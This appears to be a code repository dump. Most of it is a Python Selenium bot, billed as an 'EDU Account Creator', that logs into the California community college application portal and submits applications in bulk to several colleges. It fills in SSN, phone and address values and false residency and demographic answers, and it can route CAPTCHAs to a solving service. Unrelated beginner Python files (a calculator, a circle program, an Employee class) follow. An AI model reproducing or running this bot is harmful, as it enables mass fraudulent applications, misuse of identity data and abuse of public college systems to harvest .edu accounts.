| driver.find_element_by_id("submit-application-button").click() 1663 | time.sleep(5) 1664 | driver.find_element_by_name("_eventId_finish").click() 1665 | time.sleep(1) 1666 | 1667 | driver.find_element_by_id("inputEnglishSatisfied").click() 1668 | driver.find_element_by_id("RecommendYes").click() 1669 | driver.find_element_by_name("_eventId_submit").click() 1670 | 1671 | time.sleep(1) 1672 | driver.quit() 1673 | time.sleep(3) 1674 | 1675 | return (name, pw, email, first, last, ssn, number) 1676 | 1677 | 1678 | def San_Bernardino(name, pw, email, first, last, number, ssn, street, city, zipcode): 1679 | 1680 | driver = webdriver.Firefox(executable_path=geckopath) 1681 | driver.get( 1682 | "https://www.opencccapply.net/uPortal/f/u63l1s1000/normal/render.uP") 1683 | time.sleep(1) 1684 | driver.find_element_by_id("loginTab").click() 1685 | driver.find_element_by_id("inputJUsername").send_keys(name) 1686 | time.sleep(1) 1687 | driver.find_element_by_id("inputJPassword").send_keys(pw) 1688 | driver.find_element_by_name("_eventId_proceed").click() 1689 | time.sleep(3) 1690 | try: 1691 | driver.find_elements_by_css_selector(".btn-primary")[3].click() 1692 | time.sleep(1) 1693 | 1694 | driver.find_element_by_id("delete-confirmation-ok-button").click() 1695 | time.sleep(4.5) 1696 | except: 1697 | time.sleep(3) 1698 | 1699 | pass 1700 | # collage auswahl 1701 | collage = Select(driver.find_element_by_id('inputCollegeId')) 1702 | collage.select_by_value('982') 1703 | driver.find_element_by_id("beginApplicationButton").click() 1704 | time.sleep(4) 1705 | # enrollment 1706 | driver.find_elements_by_tag_name("option")[1].click() 1707 | collage = Select(driver.find_element_by_id('inputEduGoal')) 1708 | collage.select_by_value('K') 1709 | time.sleep(1) 1710 | driver.find_elements_by_tag_name("option")[25].click() 1711 | driver.find_element_by_name("_eventId_continue").click() 1712 | time.sleep(2) 1713 | # account info 1714 | driver.find_element_by_id("inputStreetAddress1").send_keys(street) 1715 | driver.find_element_by_id("inputCity").send_keys(city) 1716 | state = Select(driver.find_element_by_id('inputState')) 1717 | state.select_by_value('CA') 1718 | driver.find_element_by_id("inputPostalCode").send_keys(zipcode) 1719 | driver.find_element_by_name("_eventId_continue").click() 1720 | try: 1721 | driver.find_element_by_id("inputHsAttendance3").click() 1722 | 1723 | except: 1724 | driver.find_element_by_id("messageFooterLabel").click() 1725 | driver.find_element_by_id("inputAddressValidationOverride").click() 1726 | driver.find_element_by_name("_eventId_continue").click() 1727 | # education 1728 | driver.find_elements_by_tag_name("option")[1].click() 1729 | time.sleep(1) 1730 | driver.find_elements_by_tag_name("option")[9].click() 1731 | driver.find_element_by_id("inputHsAttendance3").click() 1732 | driver.find_element_by_name("_eventId_continue").click() 1733 | # military 1734 | driver.find_elements_by_tag_name("option")[1].click() 1735 | time.sleep(1) 1736 | s2 = Select(driver.find_element_by_id('inputMilitaryStatus')) 1737 | s2.select_by_value('1') 1738 | time.sleep(4.5) 1739 | driver.find_element_by_name("_eventId_continue").click() 1740 | driver.find_element_by_id("inputCaRes2YearsYes").click() 1741 | driver.find_element_by_id("inputIsEverInFosterCareNo").click() 1742 | time.sleep(4.5) 1743 | driver.find_element_by_name("_eventId_continue").click() 1744 | # needs 1745 | driver.find_element_by_id("inputEnglishYes").click() 1746 | driver.find_element_by_id("inputFinAidInfoNo").click() 1747 | time.sleep(1) 1748 | driver.find_element_by_id("inputAssistanceNo").click() 1749 | driver.find_element_by_id("inputAthleticInterest1").click() 1750 | time.sleep(1) 1751 | driver.find_element_by_name("_eventId_continue").click() 1752 | # demographic 1753 | gender = Select(driver.find_element_by_id('inputGender')) 1754 | gender.select_by_value('Male') 1755 | time.sleep(1) 1756 | 1757 | trans = Select(driver.find_element_by_id('inputTransgender')) 1758 | trans.select_by_value('No') 1759 | time.sleep(4.5) 1760 | sexual = Select(driver.find_element_by_id('inputOrientation')) 1761 | sexual.select_by_value('StraightHetrosexual') 1762 | 1763 | guard = Select(driver.find_element_by_id('inputParentGuardianEdu1')) 1764 | guard.select_by_value('3') 1765 | time.sleep(1.5) 1766 | guard2 = Select(driver.find_element_by_id('inputParentGuardianEdu2')) 1767 | guard2.select_by_value('Y') 1768 | 1769 | driver.find_element_by_id("inputHispanicNo").click() 1770 | 1771 | driver.find_element_by_id("inputRaceEthnicity800").click() 1772 | time.sleep(4.5) 1773 | driver.find_element_by_id("inputRaceEthnicity806").click() 1774 | time.sleep(1.5) 1775 | driver.find_element_by_name("_eventId_continue").click() 1776 | time.sleep(1.5) 1777 | # submental 1778 | 1779 | Special = Select(driver.find_element_by_id('_supp_MENU_1')) 1780 | Special.select_by_value('WEBS') 1781 | time.sleep(1) 1782 | 1783 | Married = Select(driver.find_element_by_id('_supp_MENU_2')) 1784 | Married.select_by_value("U") 1785 | 1786 | driver.find_element_by_id("_supp_TEXT_1").send_keys(name) 1787 | time.sleep(1) 1788 | 1789 | driver.find_element_by_id("_supp_TEXT_2").send_keys(number) 1790 | driver.find_element_by_id("_supp_TEXT_3").send_keys(number) 1791 | 1792 | Parent = Select(driver.find_element_by_id('_supp_MENU_3')) 1793 | Parent.select_by_value("Parent") 1794 | 1795 | radio1 = driver.find_element_by_id("YESNO_1_no") 1796 | driver.execute_script( 1797 | "arguments[0].checked = true;", radio1) 1798 | 1799 | radio2 = driver.find_element_by_id("YESNO_3_yes") 1800 | driver.execute_script( 1801 | "arguments[0].checked = true;", radio2) 1802 | 1803 | driver.find_element_by_name("_eventId_continue").click() 1804 | # submisson 1805 | 1806 | time.sleep(4.5) 1807 | driver.find_element_by_id("inputConsentYes").click() 1808 | time.sleep(3) 1809 | 1810 | driver.find_element_by_id("inputESignature").click() 1811 | driver.find_element_by_id("inputFinancialAidAck").click() 1812 | print("[*] Sleeping 25 secounds!") 1813 | time.sleep(25) 1814 | driver.find_element_by_id("submit-application-button").click() 1815 | time.sleep(5) 1816 | driver.find_element_by_name("_eventId_finish").click() 1817 | time.sleep(1) 1818 | 1819 | driver.find_element_by_id("inputEnglishSatisfied").click() 1820 | driver.find_element_by_id("RecommendYes").click() 1821 | driver.find_element_by_name("_eventId_submit").click() 1822 | 1823 | time.sleep(1) 1824 | driver.quit() 1825 | time.sleep(3) 1826 | 1827 | return (name, pw, email, first, last, ssn, number) 1828 | 1829 | 1830 | def Crafton(name, pw, email, first, last, number, ssn, street, city, zipcode): 1831 | 1832 | driver = webdriver.Firefox(executable_path=geckopath) 1833 | driver.get( 1834 | "https://www.opencccapply.net/uPortal/f/u63l1s1000/normal/render.uP") 1835 | time.sleep(1) 1836 | driver.find_element_by_id("loginTab").click() 1837 | driver.find_element_by_id("inputJUsername").send_keys(name) 1838 | time.sleep(1) 1839 | driver.find_element_by_id("inputJPassword").send_keys(pw) 1840 | driver.find_element_by_name("_eventId_proceed").click() 1841 | time.sleep(3) 1842 | try: 1843 | driver.find_elements_by_css_selector(".btn-primary")[3].click() 1844 | time.sleep(1) 1845 | 1846 | driver.find_element_by_id("delete-confirmation-ok-button").click() 1847 | time.sleep(4.5) 1848 | except: 1849 | time.sleep(3) 1850 | 1851 | pass 1852 | # collage auswahl 1853 | collage = Select(driver.find_element_by_id('inputCollegeId')) 1854 | collage.select_by_value('981') 1855 | driver.find_element_by_id("beginApplicationButton").click() 1856 | time.sleep(4) 1857 | # enrollment 1858 | driver.find_elements_by_tag_name("option")[1].click() 1859 | time.sleep(0.5) 1860 | collage = Select(driver.find_element_by_id('inputEduGoal')) 1861 | collage.select_by_value('F') 1862 | time.sleep(1) 1863 | driver.find_elements_by_tag_name("option")[25].click() 1864 | driver.find_element_by_name("_eventId_continue").click() 1865 | time.sleep(2) 1866 | # account info 1867 | driver.find_element_by_id("inputStreetAddress1").send_keys(street) 1868 | driver.find_element_by_id("inputCity").send_keys(city) 1869 | state = Select(driver.find_element_by_id('inputState')) 1870 | state.select_by_value('CA') 1871 | driver.find_element_by_id("inputPostalCode").send_keys(zipcode) 1872 | driver.find_element_by_name("_eventId_continue").click() 1873 | try: 1874 | driver.find_element_by_id("inputHsAttendance3").click() 1875 | 1876 | except: 1877 | driver.find_element_by_id("messageFooterLabel").click() 1878 | driver.find_element_by_id("inputAddressValidationOverride").click() 1879 | driver.find_element_by_name("_eventId_continue").click() 1880 | # education 1881 | driver.find_elements_by_tag_name("option")[1].click() 1882 | time.sleep(1) 1883 | driver.find_elements_by_tag_name("option")[9].click() 1884 | driver.find_element_by_id("inputHsAttendance3").click() 1885 | driver.find_element_by_name("_eventId_continue").click() 1886 | # military 1887 | driver.find_elements_by_tag_name("option")[1].click() 1888 | time.sleep(1) 1889 | s2 = Select(driver.find_element_by_id('inputMilitaryStatus')) 1890 | s2.select_by_value('1') 1891 | time.sleep(4.5) 1892 | driver.find_element_by_name("_eventId_continue").click() 1893 | driver.find_element_by_id("inputCaRes2YearsYes").click() 1894 | driver.find_element_by_id("inputIsEverInFosterCareNo").click() 1895 | time.sleep(4.5) 1896 | driver.find_element_by_name("_eventId_continue").click() 1897 | # needs 1898 | driver.find_element_by_id("inputEnglishYes").click() 1899 | driver.find_element_by_id("inputFinAidInfoNo").click() 1900 | time.sleep(1) 1901 | driver.find_element_by_id("inputAssistanceNo").click() 1902 | driver.find_element_by_id("inputAthleticInterest1").click() 1903 | time.sleep(1) 1904 | driver.find_element_by_name("_eventId_continue").click() 1905 | # demographic 1906 | gender = Select(driver.find_element_by_id('inputGender')) 1907 | gender.select_by_value('Male') 1908 | time.sleep(1) 1909 | 1910 | trans = Select(driver.find_element_by_id('inputTransgender')) 1911 | trans.select_by_value('No') 1912 | time.sleep(4.5) 1913 | sexual = Select(driver.find_element_by_id('inputOrientation')) 1914 | sexual.select_by_value('StraightHetrosexual') 1915 | 1916 | guard = Select(driver.find_element_by_id('inputParentGuardianEdu1')) 1917 | guard.select_by_value('3') 1918 | time.sleep(1.5) 1919 | guard2 = Select(driver.find_element_by_id('inputParentGuardianEdu2')) 1920 | guard2.select_by_value('Y') 1921 | 1922 | driver.find_element_by_id("inputHispanicNo").click() 1923 | 1924 | driver.find_element_by_id("inputRaceEthnicity800").click() 1925 | time.sleep(4.5) 1926 | driver.find_element_by_id("inputRaceEthnicity806").click() 1927 | time.sleep(1.5) 1928 | driver.find_element_by_name("_eventId_continue").click() 1929 | time.sleep(1.5) 1930 | # submental 1931 | 1932 | Special = Select(driver.find_element_by_id('_supp_MENU_1')) 1933 | Special.select_by_value('WEBS') 1934 | time.sleep(1) 1935 | 1936 | Married = Select(driver.find_element_by_id('_supp_MENU_2')) 1937 | Married.select_by_value("U") 1938 | 1939 | driver.find_element_by_id("_supp_TEXT_1").send_keys(name) 1940 | time.sleep(1) 1941 | 1942 | driver.find_element_by_id("_supp_TEXT_2").send_keys(number) 1943 | driver.find_element_by_id("_supp_TEXT_3").send_keys(number) 1944 | 1945 | Parent = Select(driver.find_element_by_id('_supp_MENU_3')) 1946 | Parent.select_by_value("Parent") 1947 | 1948 | radio1 = driver.find_element_by_id("YESNO_1_no") 1949 | driver.execute_script( 1950 | "arguments[0].checked = true;", radio1) 1951 | 1952 | radio2 = driver.find_element_by_id("YESNO_2_no") 1953 | driver.execute_script( 1954 | "arguments[0].checked = true;", radio2) 1955 | 1956 | driver.find_element_by_name("_eventId_continue").click() 1957 | # submisson 1958 | 1959 | time.sleep(4.5) 1960 | driver.find_element_by_id("inputConsentYes").click() 1961 | time.sleep(3) 1962 | 1963 | driver.find_element_by_id("inputESignature").click() 1964 | driver.find_element_by_id("inputFinancialAidAck").click() 1965 | print("[*] Sleeping 25 secounds!") 1966 | time.sleep(25) 1967 | driver.find_element_by_id("submit-application-button").click() 1968 | time.sleep(5) 1969 | driver.find_element_by_name("_eventId_finish").click() 1970 | time.sleep(1) 1971 | 1972 | driver.find_element_by_id("inputEnglishSatisfied").click() 1973 | driver.find_element_by_id("RecommendYes").click() 1974 | driver.find_element_by_name("_eventId_submit").click() 1975 | 1976 | time.sleep(1) 1977 | driver.quit() 1978 | time.sleep(3) 1979 | 1980 | return (name, pw, email, first, last, ssn, number) 1981 | 1982 | 1983 | def Santa_Monica(name, pw, email, first, last, number, ssn, street, city, zipcode): 1984 | 1985 | driver = webdriver.Firefox(executable_path=geckopath) 1986 | driver.get( 1987 | "https://www.opencccapply.net/uPortal/f/u63l1s1000/normal/render.uP") 1988 | time.sleep(1) 1989 | driver.find_element_by_id("loginTab").click() 1990 | driver.find_element_by_id("inputJUsername").send_keys(name) 1991 | time.sleep(1) 1992 | driver.find_element_by_id("inputJPassword").send_keys(pw) 1993 | driver.find_element_by_name("_eventId_proceed").click() 1994 | time.sleep(3) 1995 | try: 1996 | driver.find_elements_by_css_selector(".btn-primary")[3].click() 1997 | time.sleep(1) 1998 | 1999 | driver.find_element_by_id("delete-confirmation-ok-button").click() 2000 | time.sleep(4.5) 2001 | except: 2002 | time.sleep(3) 2003 | 2004 | pass 2005 | # collage auswahl 2006 | collage = Select(driver.find_element_by_id('inputCollegeId')) 2007 | collage.select_by_value('781') 2008 | driver.find_element_by_id("beginApplicationButton").click() 2009 | time.sleep(4) 2010 | # enrollment 2011 | driver.find_elements_by_tag_name("option")[1].click() 2012 | collage = Select(driver.find_element_by_id('inputEduGoal')) 2013 | collage.select_by_value('K') 2014 | time.sleep(1) 2015 | driver.find_elements_by_tag_name("option")[25].click() 2016 | driver.find_element_by_name("_eventId_continue").click() 2017 | time.sleep(2) 2018 | # account info 2019 | driver.find_element_by_id("inputStreetAddress1").send_keys(street) 2020 | driver.find_element_by_id("inputCity").send_keys(city) 2021 | state = Select(driver.find_element_by_id('inputState')) 2022 | state.select_by_value('CA') 2023 | driver.find_element_by_id("inputPostalCode").send_keys(zipcode) 2024 | driver.find_element_by_name("_eventId_continue").click() 2025 | try: 2026 | driver.find_element_by_id("inputHsAttendance3").click() 2027 | 2028 | except: 2029 | driver.find_element_by_id("messageFooterLabel").click() 2030 | driver.find_element_by_id("inputAddressValidationOverride").click() 2031 | driver.find_element_by_name("_eventId_continue").click() 2032 | # education 2033 | driver.find_elements_by_tag_name("option")[1].click() 2034 | time.sleep(1) 2035 | driver.find_elements_by_tag_name("option")[9].click() 2036 | driver.find_element_by_id("inputHsAttendance3").click() 2037 | driver.find_element_by_name("_eventId_continue").click() 2038 | # military 2039 | driver.find_elements_by_tag_name("option")[1].click() 2040 | time.sleep(1) 2041 | s2 = Select(driver.find_element_by_id('inputMilitaryStatus')) 2042 | s2.select_by_value('1') 2043 | time.sleep(4.5) 2044 | driver.find_element_by_name("_eventId_continue").click() 2045 | driver.find_element_by_id("inputCaRes2YearsYes").click() 2046 | driver.find_element_by_id("inputIsEverInFosterCareNo").click() 2047 | time.sleep(4.5) 2048 | driver.find_element_by_name("_eventId_continue").click() 2049 | # needs 2050 | driver.find_element_by_id("inputEnglishYes").click() 2051 | driver.find_element_by_id("inputFinAidInfoNo").click() 2052 | time.sleep(1) 2053 | driver.find_element_by_id("inputAssistanceNo").click() 2054 | driver.find_element_by_id("inputAthleticInterest1").click() 2055 | time.sleep(1) 2056 | driver.find_element_by_name("_eventId_continue").click() 2057 | # demographic 2058 | gender = Select(driver.find_element_by_id('inputGender')) 2059 | gender.select_by_value('Male') 2060 | time.sleep(1) 2061 | 2062 | trans = Select(driver.find_element_by_id('inputTransgender')) 2063 | trans.select_by_value('No') 2064 | time.sleep(4.5) 2065 | sexual = Select(driver.find_element_by_id('inputOrientation')) 2066 | sexual.select_by_value('StraightHetrosexual') 2067 | 2068 | guard = Select(driver.find_element_by_id('inputParentGuardianEdu1')) 2069 | guard.select_by_value('3') 2070 | time.sleep(1.5) 2071 | guard2 = Select(driver.find_element_by_id('inputParentGuardianEdu2')) 2072 | guard2.select_by_value('Y') 2073 | 2074 | driver.find_element_by_id("inputHispanicNo").click() 2075 | 2076 | driver.find_element_by_id("inputRaceEthnicity800").click() 2077 | time.sleep(4.5) 2078 | driver.find_element_by_id("inputRaceEthnicity806").click() 2079 | time.sleep(1.5) 2080 | driver.find_element_by_name("_eventId_continue").click() 2081 | time.sleep(1.5) 2082 | # submental 2083 | 2084 | Select(driver.find_element_by_id('_supp_MENU_1')).select_by_value('NULL') 2085 | Select(driver.find_element_by_id('_supp_MENU_2')).select_by_value('Y') 2086 | Select(driver.find_element_by_id('_supp_MENU_3')).select_by_value('N') 2087 | Select(driver.find_element_by_id('_supp_MENU_4')).select_by_value('N/A') 2088 | time.sleep(3) 2089 | driver.find_element_by_id("_supp_TEXT_1").send_keys("3") 2090 | Select(driver.find_element_by_id('_supp_MENU_5')).select_by_value('11') 2091 | Select(driver.find_element_by_id('_supp_MENU_8')).select_by_value('NULL') 2092 | Select(driver.find_element_by_id('_supp_MENU_9')).select_by_value('N') 2093 | Select(driver.find_element_by_id('_supp_MENU_7')).select_by_value('3') 2094 | Select(driver.find_element_by_id('_supp_MENU_10')).select_by_value('N') 2095 | Select(driver.find_element_by_id('_supp_MENU_11')).select_by_value('Y') 2096 | driver.find_element_by_id("_supp_CHECK_1").click() 2097 | time.sleep(3) 2098 | driver.find_element_by_name("_eventId_continue").click() 2099 | # submisson 2100 | 2101 | time.sleep(4.5) 2102 | driver.find_element_by_id("inputConsentYes").click() 2103 | time.sleep(3) 2104 | 2105 | driver.find_element_by_id("inputESignature").click() 2106 | driver.find_element_by_id("inputFinancialAidAck").click() 2107 | print("[*] Sleeping 25 secounds!") 2108 | time.sleep(25) 2109 | driver.find_element_by_id("submit-application-button").click() 2110 | time.sleep(5) 2111 | driver.find_element_by_name("_eventId_finish").click() 2112 | time.sleep(1) 2113 | 2114 | driver.find_element_by_id("inputEnglishSatisfied").click() 2115 | driver.find_element_by_id("RecommendYes").click() 2116 | driver.find_element_by_name("_eventId_submit").click() 2117 | 2118 | time.sleep(1) 2119 | driver.quit() 2120 | time.sleep(3) 2121 | 2122 | return (name, pw, email, first, last, ssn, number) 2123 | 2124 | 2125 | def Coastline(name, pw, email, first, last, number, ssn, street, city, zipcode): 2126 | driver = webdriver.Firefox(executable_path=geckopath) 2127 | driver.get( 2128 | "https://www.opencccapply.net/uPortal/f/u63l1s1000/normal/render.uP") 2129 | 2130 | driver.find_element_by_id("loginTab").click() 2131 | driver.find_element_by_id("inputJUsername").send_keys(name) 2132 | time.sleep(1) 2133 | driver.find_element_by_id("inputJPassword").send_keys(pw) 2134 | driver.find_element_by_name("_eventId_proceed").click() 2135 | time.sleep(3) 2136 | try: 2137 | driver.find_elements_by_css_selector(".btn-primary")[3].click() 2138 | time.sleep(1) 2139 | 2140 | driver.find_element_by_id("delete-confirmation-ok-button").click() 2141 | time.sleep(4.5) 2142 | except: 2143 | time.sleep(3) 2144 | 2145 | pass 2146 | 2147 | collage = Select(driver.find_element_by_id('inputCollegeId')) 2148 | collage.select_by_value('233') 2149 | driver.find_element_by_id("beginApplicationButton").click() 2150 | time.sleep(4) 2151 | driver.find_elements_by_tag_name("option")[1].click() 2152 | time.sleep(1) 2153 | collage = Select(driver.find_element_by_id('inputEduGoal')) 2154 | collage.select_by_value('F') 2155 | time.sleep(1.5) 2156 | driver.find_elements_by_tag_name("option")[25].click() 2157 | driver.find_element_by_name("_eventId_continue").click() 2158 | time.sleep(2) 2159 | driver.find_element_by_id("inputStreetAddress1").send_keys(street) 2160 | driver.find_element_by_id("inputCity").send_keys(city) 2161 | state = Select(driver.find_element_by_id('inputState')) 2162 | state.select_by_value('CA') 2163 | driver.find_element_by_id("inputPostalCode").send_keys(zipcode) 2164 | driver.find_element_by_name("_eventId_continue").click() 2165 | try: 2166 | driver.find_element_by_id("inputHsAttendance3").click() 2167 | 2168 | except: 2169 | driver.find_element_by_id("messageFooterLabel").click() 2170 | driver.find_element_by_id("inputAddressValidationOverride").click() 2171 | driver.find_element_by_name("_eventId_continue").click() 2172 | driver.find_elements_by_tag_name("option")[1].click() 2173 | time.sleep(1) 2174 | 2175 | driver.find_elements_by_tag_name("option")[9].click() 2176 | driver.find_element_by_id("inputHsAttendance3").click() 2177 | driver.find_element_by_name("_eventId_continue").click() 2178 | driver.find_elements_by_tag_name("option")[1].click() 2179 | time.sleep(1) 2180 | 2181 | s2 = Select(driver.find_element_by_id('inputMilitaryStatus')) 2182 | s2.select_by_value('1') 2183 | time.sleep(4.5) 2184 | driver.find_element_by_name("_eventId_continue").click() 2185 | driver.find_element_by_id("inputCaRes2YearsYes").click() 2186 | driver.find_element_by_id("inputIsEverInFosterCareNo").click() 2187 | time.sleep(4.5) 2188 | driver.find_element_by_name("_eventId_continue").click() 2189 | driver.find_element_by_id("inputEnglishYes").click() 2190 | driver.find_element_by_id("inputFinAidInfoNo").click() 2191 | time.sleep(1) 2192 | 2193 | driver.find_element_by_id("inputAssistanceNo").click() 2194 | driver.find_element_by_id("inputAthleticInterest3").click() 2195 | time.sleep(1) 2196 | 2197 | time.sleep(1.5) 2198 | driver.find_element_by_name("_eventId_continue").click() 2199 | 2200 | gender = Select(driver.find_element_by_id('inputGender')) 2201 | gender.select_by_value('Male') 2202 | time.sleep(1) 2203 | 2204 | trans = Select(driver.find_element_by_id('inputTransgender')) 2205 | trans.select_by_value('No') 2206 | time.sleep(4.5) 2207 | sexual = Select(driver.find_element_by_id('inputOrientation')) 2208 | sexual.select_by_value('StraightHetrosexual') 2209 | 2210 | guard = Select(driver.find_element_by_id('inputParentGuardianEdu1')) 2211 | guard.select_by_value('3') 2212 | time.sleep(1.5) 2213 | guard2 = Select(driver.find_element_by_id('inputParentGuardianEdu2')) 2214 | guard2.select_by_value('Y') 2215 | 2216 | driver.find_element_by_id("inputHispanicNo").click() 2217 | 2218 | driver.find_element_by_id("inputRaceEthnicity800").click() 2219 | time.sleep(4.5) 2220 | driver.find_element_by_id("inputRaceEthnicity806").click() 2221 | time.sleep(1.5) 2222 | driver.find_element_by_name("_eventId_continue").click() 2223 | 2224 | #found = Select(driver.find_element_by_id('_supp_MENU_1')) 2225 | # found.select_by_value('FAM') 2226 | time.sleep(1.5) 2227 | 2228 | driver.find_element_by_id("YESNO_1_yes").click() 2229 | driver.find_element_by_id("YESNO_2_yes").click() 2230 | time.sleep(1.5) 2231 | driver.find_element_by_id("_supp_TEXT_1").send_keys(number) 2232 | time.sleep(1) 2233 | 2234 | GPA = Select(driver.find_element_by_id('_supp_MENU_2')) 2235 | GPA.select_by_value('4') 2236 | time.sleep(1) 2237 | 2238 | units = Select(driver.find_element_by_id('_supp_MENU_8')) 2239 | units.select_by_value('4') 2240 | time.sleep(1) 2241 | 2242 | money = Select(driver.find_element_by_id('_supp_MENU_3')) 2243 | money.select_by_value('30') 2244 | time.sleep(1) 2245 | 2246 | house = Select(driver.find_element_by_id('_supp_MENU_4')) 2247 | house.select_by_value('1') 2248 | time.sleep(1) 2249 | 2250 | house = Select(driver.find_element_by_id('_supp_MENU_5')) 2251 | house.select_by_value('B') 2252 | time.sleep(1) 2253 | 2254 | driver.find_element_by_id("YESNO_4_yes").click() 2255 | driver.find_element_by_id("YESNO_5_yes").click() 2256 | time.sleep(1) 2257 | driver.find_element_by_id("YESNO_6_yes").click() 2258 | driver.find_element_by_id("YESNO_7_no").click() 2259 | time.sleep(1) 2260 | driver.find_element_by_id("YESNO_8_yes").click() 2261 | driver.find_element_by_id("YESNO_9_no").click() 2262 | driver.find_element_by_id("YESNO_10_no").click() 2263 | time.sleep(1) 2264 | driver.find_element_by_id("YESNO_11_yes").click() 2265 | time.sleep(1) 2266 | driver.find_element_by_id("YESNO_12_no").click() 2267 | time.sleep(1) 2268 | driver.find_element_by_id("YESNO_13_no").click() 2269 | driver.find_element_by_id("YESNO_14_yes").click() 2270 | 2271 | question = Select(driver.find_element_by_id('_supp_MENU_6')) 2272 | question.select_by_value('What school did you attend for sixth grade?') 2273 | time.sleep(1) 2274 | question = Select(driver.find_element_by_id('_supp_MENU_7')) 2275 | question.select_by_value( 2276 | 'What is the first name of your least favorite relative?') 2277 | time.sleep(1) 2278 | driver.find_element_by_id("_supp_TEXT_3").send_keys("Nulled") 2279 | driver.find_element_by_id("_supp_TEXT_4").send_keys("Nulled") 2280 | time.sleep(1) 2281 | 2282 | driver.find_element_by_name("_eventId_continue").click() 2283 | time.sleep(4.5) 2284 | driver.find_element_by_id("inputConsentYes").click() 2285 | time.sleep(3) 2286 | 2287 | driver.find_element_by_id("inputESignature").click() 2288 | driver.find_element_by_id("inputFinancialAidAck").click() 2289 | print("[*] Sleeping 25 seconds!") 2290 | time.sleep(25) 2291 | driver.find_element_by_id("submit-application-button").click() 2292 | time.sleep(5) 2293 | driver.find_element_by_name("_eventId_finish").click() 2294 | time.sleep(1) 2295 | 2296 | driver.find_element_by_id("inputEnglishSatisfied").click() 2297 | driver.find_element_by_id("RecommendYes").click() 2298 | driver.find_element_by_name("_eventId_submit").click() 2299 | 2300 | time.sleep(1) 2301 | driver.quit() 2302 | time.sleep(3) 2303 | return (name, pw, email, first, last, ssn, number) 2304 | 2305 | 2306 | if platform.system() == "Windows": # checking OS 2307 | geckopath = "./geckodriver.exe" 2308 | else: 2309 | geckopath = "./geckodriver" 2310 | 2311 | 2312 | print(""" 2313 | 2314 | EDU Account Creator 2315 | 2316 | by Exploit forked and fixed by pixelcookie11\n""" 2317 | ) 2318 | 2319 | 2320 | accounts = int(input("How many Accounts do you want?\n")) 2321 | 2322 | use_captcha = input("\nWhich captcha service do you want to use?\n1. 2Captcha (Needs API Key) \n2. None (Manual)\n") 2323 | if use_captcha == "1": 2324 | print("2Captcha!\n") 2325 | elif use_captcha == "2": 2326 | print("Manually!\n") 2327 | else: 2328 | print("Wrong Input!") 2329 | time.sleep(3) 2330 | exit() 2331 | 2332 | 2333 | #collage = input("Which Collage?\n1. Sacramento (Google Drive) \n2. Coastline (Azure RDP / maybe broke)\n3. Crafton Hills \n4. San Bernardino\n5. Santa Monica\n6. Solano\n7. CCSF\n8. Canada College\n9. Santa Barbara\n10. Gavilan College\n11. Orange Coast College\n") 2334 | 2335 | collages = ["Sacremento", "Coastline", "Crafton Hills", "San Bernardino", "Santa Monica", "Solano Community", 2336 | "City College of San Francisco", "Canada Collage", "Santa Barbara City College", "Gavilan College", "Orange Coast College"] 2337 | 2338 | print("Which Collage?") 2339 | 2340 | for index, name in enumerate(collages): 2341 | print(str(index + 1) + ". " + name) 2342 | 2343 | index = int(input("")) - 1 2344 | 2345 | print("[*] " + collages[index]) 2346 | 2347 | collage = str(index + 1) 2348 | 2349 | # In future to enable posibility of creating edu accounts without creating openccc 2350 | # if(accounts == 1): 2351 | # showChoice = True 2352 | # while showChoice: 2353 | # createOpenccc = input( 2354 | # "\nDo you want to create an openccc account? [Y/N]\n") 2355 | # if createOpenccc == "n" or createOpenccc == "N": 2356 | # showChoice = False 2357 | # name = input("\nPlease enter username:\n") 2358 | # pw = input("\nPlease enter password:\n") 2359 | # email = input("\nPlease enter email:\n") 2360 | # first = input("\nPlease enter first name:\n") 2361 | # last = input("\nPlease enter last name:\n") 2362 | # number = input("\nPlease enter number:\n") 2363 | # ssn = input("\nPlease enter ssn:\n") 2364 | # street = input("\nPlease enter street address:\n") 2365 | # city = input("\nPlease enter city:\n") 2366 | # zipcode = input("\nPlease enter zipcode:\n") 2367 | # time.sleep(1) 2368 | # print("\n\nAll done! Please wait while we create your account.\n\n") 2369 | # time.sleep(1) 2370 | # try: 2371 | # onlyCollege(name, pw, email, first, last, number, 2372 | # ssn, street, city, zipcode, collage) 2373 | # except: 2374 | # onlyCollege(name, pw, email, first, last, number, 2375 | # ssn, street, city, zipcode, collage) 2376 | # elif createOpenccc == "y" or createOpenccc == "Y": 2377 | # showChoice = False 2378 | # createaccount(collage, use_captcha) 2379 | # else: 2380 | # print("\n\nPlease eneter 'y' for yes or 'n' for no.\n\n") 2381 | 2382 | 2383 | while accounts > generated: 2384 | createaccount(collage, use_captcha) 2385 | #Bot(collage, use_captcha) 2386 | -------------------------------------------------------------------------------- /code/Calculator.py: -------------------------------------------------------------------------------- 1 | ''' KALKULATOR DENGAN PYTHON''' 2 | 3 | # PENJUMLAHAN 4 | def add(x, y): 5 | return x + y 6 | 7 | # PENGURANGAN 8 | def subtract(x, y): 9 | return x - y 10 | 11 | # PERKALIAN 12 | def multiply(x, y): 13 | return x * y 14 | 15 | # PEMBAGIAN 16 | def divide(x, y): 17 | return x / y 18 | 19 | # MENU 20 | print("Pilih Operasi.") 21 | print("1.PENJUMLAHAN") 22 | print("2.PENGURANGAN") 23 | print("3.PERKALIAN") 24 | print("4.PERMBAGIAN") 25 | 26 | # INPUT 27 | choice = input("Masukkan pilihan operasi(1/2/3/4): ") 28 | 29 | num1 = int(input("Masukkan bilangan: ")) 30 | num2 = int(input("Masukkan bilangan: ")) 31 | 32 | if choice == '1': 33 | print(num1,"+",num2,"=", add(num1,num2)) 34 | 35 | elif choice == '2': 36 | print(num1,"-",num2,"=", subtract(num1,num2)) 37 | 38 | elif choice == '3': 39 | print(num1,"*",num2,"=", multiply(num1,num2)) 40 | 41 | elif choice == '4': 42 | print(num1,"/",num2,"=", divide(num1,num2)) 43 | else: 44 | print("Input salah") 45 | -------------------------------------------------------------------------------- /code/Circuference Circle.py: -------------------------------------------------------------------------------- 1 | ''' PROGRAM HITUNG KELILING LINGKARAN''' 2 | print("=============================") 3 | print("PROGRAM HITUNG KELILING LINGKARAN") 4 | print("=============================") 5 | phi = 3.14 6 | r = float(input("Masukkan panjang jari-jari lingkaran: ")) 7 | k = 2 * phi * r 8 | print("Keliling Lingkaran adalah "+ str(k)) 9 | -------------------------------------------------------------------------------- /code/Employee.py: -------------------------------------------------------------------------------- 1 | class Employee: 2 | #classvariable 3 | raise_amount = 1.05 4 | num_employee = 0 5 | 6 | def __init__(self, name, email, pay): 7 | self.name = name 8 | self.email = email + '@company.com' 9 | self.pay = pay 10 | 11 | Employee.num_employee += 1 12 | 13 | def showInfo(self): 14 | return '{} {}'.format(self.name, self.email) 15 | 